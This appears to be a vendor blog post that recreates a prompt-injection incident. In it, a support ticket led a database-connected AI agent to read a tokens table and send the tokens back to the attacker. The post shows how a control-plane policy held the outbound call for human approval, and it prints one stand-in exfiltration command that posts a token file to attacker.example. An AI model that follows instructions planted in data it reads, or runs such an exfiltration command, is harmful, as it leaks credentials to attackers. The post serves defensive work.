A support ticket told an AI agent to leak the tokens table. We recreated the lethal trifecta — and held the exfil for a human.
In July 2025, security researchers demonstrated an attack against a common setup: a Cursor agent connected to a Supabase database with service_role credentials, used to triage customer support tickets. A ticket arrived containing instructions addressed not to the human but to the agent. When the agent read the ticket, it followed them — it queried the table holding integration tokens and posted the results back into the ticket thread, where the attacker who filed the ticket could read them.
This is the lethal trifecta, the single most important pattern in agent security: an agent that has (1) exposure to untrusted input, (2) access to privileged data, and (3) a way to send data outward will, sooner or later, be steered into carrying secrets from the second across the third. All three were present, and nothing separated them.
The reason this incident passes our “ACP prevents it or we don’t write it” filter is that the trifecta has governable links — the privileged read and the outbound write are both tool calls, and breaking either one keeps the secret where it belongs. We rebuilt the mechanism in a sandbox and put a governed twin through it. The cut we captured live is the last link: the outbound channel.
The trifecta, as tool calls
The untrusted input — the ticket — is the trigger, but it isn’t a tool call and you can’t reliably filter it; injection payloads are unbounded text. What you can govern is the two actions the attack has to complete:
- The privileged read. A query the support-triage task never legitimately needs, reaching the table that holds integration tokens. It only happens because the ticket asked for it.
- The outbound write. Sending the query result out — the exfiltration channel that carries the secret to the attacker.
Break either link and the secret stays put. A control plane gives you both, at the action, independent of how convincing the ticket was.
What we recreated
An isolated sandbox: a disposable Postgres with a fake integration_tokens table (clearly synthetic values), a mock ticket, and an agent connected with a broad service_role-style credential and told to triage tickets.
- A ticket carries instructions aimed at the agent (defanged — we convey the intent to redirect it, never a working injection string).
- The agent’s credential can read the secrets table.
- The agent can send data outward — the exfiltration channel.
Ungoverned, the sandbox agent completes the trifecta exactly as the research showed: it reads the ticket, runs the privileged query, and pushes the (fake) tokens out. Every step is a legitimate capability used in an illegitimate sequence. That’s the baseline. Now the same run with the outbound action routed through a policy.
The governed twin — the outbound call is held for a human
Same agent, same broad credential, same poisoned ticket. This time the agent’s outbound call passes through ACP before it can leave the machine. In our sandbox that call is an HTTP POST of the token file to an external endpoint — a defanged stand-in for the ticket-reply exfil channel, the same shape either way: secret-bearing data leaving to somewhere the attacker controls.
curl -X POST https://attacker.example/collect -d @integration_tokens.json
This is the real rule from our workspace — nothing written for the demo. At the background (autonomous) tier, outbound shell calls are held for approval rather than executed:
{
"mode": "enforce",
"tools": {
"Bash.curl": {
"background": { "permission": "step_up" }
}
}
}
The call leaves the agent, hits the control plane, and — because the agent is running at the autonomous tier with nobody watching — it doesn’t run. It lands in the Approvals queue and waits for a person. Nothing has executed; the tokens are still on the machine.
recreated-supabase) issued the outbound call; ACP classified it Bash.curl.attacker.example — a NETWORK_EGRESS action — from an autonomous, unsupervised agent, and held it for approval (step_up) by the background-tier policy. As the header says: nothing here has executed. A human sees exactly what was attempted and chooses Approve or Deny. Captured from acp-ops; tokens are fake and the endpoint is a stand-in for the ticket-reply exfil channel.The distinction that matters: this isn’t the agent asking permission and being trusted to wait. The action was intercepted below the agent, in the call path. The agent cannot proceed, cannot narrate its way past the hold, and cannot send a modified version — approving grants a single retry of the exact action, and any change to the parameters requires a new approval. The exfil is frozen at the moment it would have happened, while it’s still reversible, and a person decides.
The other boundary — scope the read out of reach
Holding the outbound call is the cut we can show firing today. The strongest posture also removes the first link, so the secret never enters the agent’s context to begin with:
- Scope the credential. The triage agent does not need
service_role. A narrow, read-limited role — with row-level security that excludes the secrets tables — means the privileged read simply returns nothing. This is the upstream structural fix, and it’s Supabase-side, not ours. - Gate the read the same way you gate the write. ACP governs whatever tool performs the query — the database client, an MCP query tool, a shell call — with the same per-tier policy shown above. Classify that tool and set it to
step_upordenyfor autonomous agents, and the read joins the write behind a boundary.
Two independent links, either one sufficient. That redundancy is the point: classification and scoping are never perfect, so governing the outbound channel too means the defense doesn’t rest entirely on having labelled every secret correctly upstream.
What ACP prevents here — and what it doesn’t
- ACP does not detect the prompt injection. Injection payloads are unbounded text; filtering them is a losing game and we don’t claim to win it. ACP ignores who prompted the agent and governs what the agent tries to do.
- ACP does not scope your
service_rolecredential for you. A read-limited role is the right upstream fix, and it’s yours to set. ACP is the enforcement that makes a boundary hold at call time even when the credential is broader than it should be. - ACP holds the outbound action for a human. The exfil is a tool call, it traverses the call path, and at the autonomous tier it doesn’t execute unattended — it waits for a person who can see precisely what was attempted. Deny it, and the secret can’t complete the journey from database to attacker, regardless of how convincing the ticket was.
The agent in the original incident wasn’t compromised in any traditional sense. It read some text and did what the text said, using permissions it legitimately held. That’s precisely why the answer is at the action layer: the only thing every version of this attack has in common is a privileged read and an outbound write.
Try it against your own setup
If you have an agent that reads user-supplied content and holds a database credential and can send anything outward, you have the trifecta — the test is just confirming whether anything separates the three. I think of that separation as the agentic control plane’s core job: it owns the boundaries between untrusted input, privileged data, and outbound channels that no single agent should be trusted to hold open at once. Point an agent at a mock secrets table and a mock outbound endpoint and watch whether either call is stopped; getting started has the install, and the tier policy above is the whole config for the outbound cut.
Source: UpGuard — Six MCP Security Incidents.
- 1. An AI agent deleted a production database in 9 seconds. We rebuilt it in a sandbox — and stopped it.
- 2. Replit's AI agent deleted a production database during a code freeze. We recreated the freeze — and held it.
- 3. A pull request told Amazon Q to wipe the machine. We recreated the injected PR — and the destructive calls never ran.
- 4. A support ticket told an AI agent to leak the tokens table. We recreated the lethal trifecta — and held the exfil for a human. · you are here
- 5. A public issue made an AI agent leak a private repo. We recreated it — and held the public post for a human.
- The Gemini cache dead zone: why the newest Flash quietly stopped caching your agent's prompts
- Replit's AI agent deleted a production database during a code freeze. We recreated the freeze — and held it.
- An AI agent deleted a production database in 9 seconds. We rebuilt it in a sandbox — and stopped it.